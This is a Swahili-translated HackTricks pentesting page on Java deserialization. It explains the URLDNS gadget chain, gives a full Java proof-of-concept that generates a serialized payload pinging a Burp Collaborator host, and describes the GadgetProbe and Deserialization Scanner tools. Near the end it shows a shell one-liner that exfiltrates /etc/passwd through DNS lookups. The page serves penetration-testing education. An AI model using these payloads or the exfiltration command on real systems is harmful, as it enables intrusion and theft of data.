hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
2024-02-11 02:13:58 +00:00

11 KiB

Uundaji wa DNS wa Java, GadgetProbe na Skana ya Uundaji wa Java

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ombi la DNS kwenye uundaji

Darasa la java.net.URL linautekeleza Serializable, hii inamaanisha kuwa darasa hili linaweza kuserializwa.

public final class URL implements java.io.Serializable {

Darasa hili lina tabia ya kushangaza. Kulingana na hati ya maelezo: "Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP".
Kwa hivyo, kila wakati kitu cha URL kinaita mojawapo ya kazi sawa au hashCode, ombi la DNS kupata Anwani ya IP litatumwa.

Kuita kazi hashCode kutoka kwa kitu cha URL ni rahisi sana, ni ya kutosha kuweka kitu hiki ndani ya HashMap ambayo itadeserializwa. Hii ni kwa sababu mwishoni mwa kazi ya readObject kutoka kwa HashMap msimbo huu unatekelezwa:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Itakuwa kutekeleza putVal na kila thamani ndani ya HashMap. Lakini, muhimu zaidi ni wito wa hash na kila thamani. Hii ni nambari ya kazi ya hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Kama unavyoweza kubaini, wakati wa kufanya deserialization ya HashMap, kazi ya hash itatekelezwa kwa kila kitu na wakati wa utekelezaji wa hash, .hashCode() ya kitu itatekelezwa. Kwa hiyo, ikiwa unafanya deserialization ya HashMap inayojumuisha kitu cha URL, kitu cha URL kitatekeleza .hashCode().

Sasa, hebu tuangalie nambari ya URLObject.hashCode() :

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Kama unavyoona, wakati URLObject inatekeleza .hashCode(), inaitwa hashCode(this). Kuendelea unaweza kuona nambari ya kazi hii:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Unaweza kuona kuwa getHostAddress inatekelezwa kwa kikoa, kuzindua ombi la DNS.

Kwa hivyo, darasa hili linaweza kutumiwa vibaya ili kuzindua ombi la DNS ili kuonyesha kuwa deserialization inawezekana, au hata kuvuja taarifa (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri).

Mfano wa nambari ya malipo ya URLDNS

Unaweza kupata nambari ya malipo ya URDNS kutoka ysoserial hapa. Walakini, ili kuifanya iwe rahisi kuelewa jinsi ya kuifanyia nambari, nimeunda PoC yangu mwenyewe (kulingana na ile kutoka ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Taarifa zaidi

GadgetProbe

Unaweza kupakua GadgetProbe kutoka kwenye Duka la Programu la Burp Suite (Extender).

GadgetProbe itajaribu kugundua ikiwa baadhi ya darasa za Java zipo kwenye darasa la Java la seva ili uweze kujua ikiwa ina kasoro inayojulikana.

Inafanyaje kazi

GadgetProbe itatumia mzigo sawa wa DNS wa sehemu iliyopita lakini kabla ya kutekeleza ombi la DNS itajaribu kutengeneza darasa la kawaida. Ikiwa darasa la kawaida lipo, ombi la DNS litatumwa na GadgetProbe itaandika kuwa darasa hili lipo. Ikiwa ombi la DNS halitumwi kamwe, hii inamaanisha kuwa darasa la kawaida halikufanikiwa kutekelezwa kwa hivyo linaweza kutokuwepo au halina uwezo wa kutekelezwa.

Ndani ya github, GadgetProbe ina orodha ya maneno na darasa za Java za kujaribiwa.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Taarifa Zaidi

Java Deserialization Scanner

Scanner hii inaweza kupakuliwa kutoka kwenye Duka la Programu la Burp (Extender).
Kifaa hiki kina uwezo wa kupitisha na uwezo wa kazi.

Kupitisha

Kwa chaguo-msingi, inachunguza kwa kupitisha maombi yote na majibu yaliyotumwa kutafuta herufi za uchawi za Java serialized na itatoa onyo la kasoro ikiwa zitapatikana:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Kazi

Upimaji wa Kazi

Unaweza kuchagua ombi, bofya kulia na Tuma ombi kwa DS - Upimaji wa Kazi.
Kisha, ndani ya kichupo cha Deserialization Scanner --> Kichupo cha upimaji wa kazi, unaweza kuchagua sehemu ya kuingiza. Na zindua upimaji (Chagua shambulio sahihi kulingana na nambari ya uendeshaji iliyotumiwa).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Hata ikiwa hii inaitwa "Upimaji wa Kazi", ni kiautomatiki sana. Itachunguza moja kwa moja ikiwa utekelezaji ni hatari kwa mzigo wowote wa ysoserial kwa kuchunguza maktaba zilizopo kwenye seva ya wavuti na itaonyesha zile zinazoweza kuwa hatari. Ili kuchunguza maktaba zinazoweza kuwa hatari, unaweza kuchagua kuzindua Javas Sleeps, sleeps kupitia matumizi ya CPU, au kutumia DNS kama ilivyotajwa hapo awali.

Kuathiri

Marafiki umegundua maktaba inayoweza kuwa hatari unaweza kutuma ombi kwa kichupo cha Kuathiri.
Katika kichupo hiki unapaswa kuchagua tena sehemu ya kuingiza, andika maktaba inayoweza kuwa hatari unayotaka kuunda mzigo kwa, na amri. Kisha, bonyeza kitufe sahihi cha Shambulio.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Taarifa ya Uchunguzi wa Java Deserialization DNS Exfil

Fanya mzigo wako utekeleze kitu kama ifuatavyo:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Taarifa Zaidi

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: